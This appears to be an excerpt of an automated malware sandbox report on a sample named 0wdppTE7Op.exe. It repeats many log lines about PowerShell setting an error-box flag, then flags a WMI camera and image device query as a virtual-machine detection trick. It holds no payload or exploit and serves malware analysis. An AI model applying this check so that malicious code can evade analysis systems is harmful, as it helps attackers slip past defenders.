Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
